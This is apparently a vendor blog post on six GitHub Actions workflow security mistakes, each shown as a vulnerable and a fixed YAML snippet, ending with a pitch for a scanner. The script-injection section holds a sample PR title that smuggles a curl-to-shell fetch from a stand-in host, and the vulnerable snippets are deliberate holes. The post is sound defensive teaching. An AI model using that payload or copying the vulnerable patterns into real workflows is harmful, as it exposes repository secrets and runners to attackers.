Skip to main content

GitHub Actions security: six workflow mistakes and how to fix them

A GitHub Actions workflow is code that runs with your secrets, on a machine that can push to your repository, triggered by events that strangers can create. That last part is what makes it different from the rest of your build. Anyone can open an issue, name a branch or title a pull request, and a workflow that treats those values as trusted hands the stranger a shell.

We covered the npm token side of CI compromise in Shai-Hulud: what changed for CI. This post is about the workflow files themselves: six mistakes, each with a vulnerable and a fixed version.

1. pull_request_target with a checkout of the PR

pull_request from a fork runs with no secrets and a read-only GITHUB_TOKEN. That is safe and slightly inconvenient, so people reach for pull_request_target, which runs in the context of the base repository, with its secrets and a token that can write. That is fine as long as the workflow never runs the pull request's code. The moment it checks out the PR head and builds it, the fork author's code runs with your privileges.

# Vulnerable: runs fork code with secrets and a write token
on: pull_request_target
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}
      - run: npm ci && npm test   # install scripts and tests are attacker code
        env:
          DEPLOY_KEY: ${{ secrets.DEPLOY_KEY }}
# Fixed: untrusted code runs under pull_request, with no secrets
on: pull_request
permissions:
  contents: read
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: npm ci && npm test

GitHub's own event documentation says to avoid pull_request_target if you need to build or run code from the pull request (Events that trigger workflows). Keep it for jobs that label, comment or triage, and never combine it with a checkout of the head ref.

2. Script injection through github.event

${{ }} expressions are expanded before the shell sees the script. If the value comes from a pull request title, issue body, comment or branch name, the attacker writes part of your shell script.

# Vulnerable: a PR titled  x; curl https://evil.example/x | sh  runs on the runner
- name: Check title
  run: |
    echo ${{ github.event.pull_request.title }} | grep -Eq '^(feat|fix|docs):'
# Fixed: the value arrives as data in an environment variable
- name: Check title
  env:
    TITLE: ${{ github.event.pull_request.title }}
  run: |
    printf '%s\n' "$TITLE" | grep -Eq '^(feat|fix|docs):'

GitHub's hardening guide recommends exactly this: put the expression in an intermediate environment variable, so the value never takes part in generating the script, and double-quote it in the shell (Security hardening for GitHub Actions). Wrapping the expression in quotes does not help, because the attacker can close the quote. The risky fields include pull_request.title, pull_request.body, head_ref, issue.title, issue.body, comment.body, review.body and commit messages. The same applies to actions/github-script: pass values through env, not by expanding them inside the JavaScript.

3. Third-party actions on a moving ref

uses: some-org/some-action@v2 runs whatever commit the v2 tag points at when the job starts. Tags can be moved. In March 2025 the tj-actions/changed-files action was compromised and its version tags were pointed at a malicious commit that dumped CI secrets into workflow logs (GHSA-mrrh-fwg8-r2c3, CVE-2025-30066). Workflows pinned to a full commit SHA were not running the changed code.

# Vulnerable: a tag the publisher (or an attacker) can move
- uses: some-org/deploy-action@v2
# Fixed: a full-length commit SHA, with the version as a comment
- uses: some-org/deploy-action@3f1c2b9e8d7a6c5b4a39281706f5e4d3c2b1a098 # v2.4.1

GitHub recommends a full-length SHA as the way to use an action as an immutable release, and says to confirm the SHA comes from the action's own repository rather than a fork. A dependency bot can keep the pins current and keep the comment readable.

4. A GITHUB_TOKEN that can do everything

Every job gets a GITHUB_TOKEN. Depending on repository and organisation settings, its default can include write access to contents, packages and more. A compromised step inherits whatever the token can do.

# Vulnerable
permissions: write-all
# Fixed: read-only by default, widen per job
permissions:
  contents: read

jobs:
  release:
    permissions:
      contents: write      # only the job that tags a release

Set the organisation default to read-only and declare permissions: at the top of every workflow. Then a job that needs more has to say so in the diff, where a reviewer sees it.

5. Long-lived cloud keys instead of OIDC

An AWS_SECRET_ACCESS_KEY in repository secrets is valid until someone rotates it, and every workflow that can read it can leak it. OpenID Connect lets the job request a short-lived token from the cloud provider instead.

permissions:
  id-token: write
  contents: read
steps:
  - uses: aws-actions/configure-aws-credentials@v4
    with:
      role-to-assume: arn:aws:iam::123456789012:role/deploy-main
      aws-region: eu-west-1

The trust policy on the cloud side is where OIDC is won or lost. Restrict the sub claim to the repository and the branch or environment that deploys (for example repo:acme/api:ref:refs/heads/main). A trust policy that accepts any repository in the organisation, or any ref, lets a pull request branch assume the deploy role.

6. Self-hosted runners on public repositories

GitHub-hosted runners are fresh virtual machines for each job. A self-hosted runner is a machine you keep, and code from a workflow run can leave things behind on it. GitHub's guidance is that self-hosted runners should almost never be used for public repositories, because anyone can open a pull request. On private repositories, prefer ephemeral or just-in-time runners that take one job and are removed, and keep runners out of networks that hold production credentials.

Checking workflows automatically

Workflow files are short, reviewed rarely and changed by copy and paste, which is the profile of code that benefits from a scanner. Vulkro reads GitHub Actions workflows as part of a normal vulkro scan, offline, and reports several of the mistakes above under stable IDs:

  • CICD-001 (Critical): an attacker-controlled ${{ github.event.* }} field expanded unquoted inside a run: block.
  • SUPPLY-CI-002 (High): permissions: write-all, contents: write together with pull_request_target, or secrets referenced in a pull_request_target workflow.
  • SUPPLY-CI-003: a third-party action on a branch or a floating version tag instead of a commit SHA. First-party publishers such as actions and github are exempt.

GitLab CI, CircleCI, Azure Pipelines and Bitbucket Pipelines files are read too. The GitHub Actions integration guide shows a scanning workflow that runs with contents: read.

FAQ

Is pull_request_target safe to use?

It is safe for jobs that never run code from the pull request, such as labelling or commenting. It is unsafe when the workflow checks out and builds the PR head, because that code runs with the base repository's secrets and a write-capable token.

How do I prevent script injection in GitHub Actions?

Never put ${{ github.event.* }} values directly inside run: scripts. Assign them to environment variables in env: and reference the variable, double-quoted, in the shell.

Should I pin GitHub Actions to a commit SHA?

Yes, for third-party actions. Tags can be moved to a different commit, while a full-length SHA cannot. Use a dependency bot to keep the pins up to date.

Start a 14-day trial at /start/ and scan your .github/workflows folder. Related: Supply chain attacks are a code problem and The npm worms of 2026.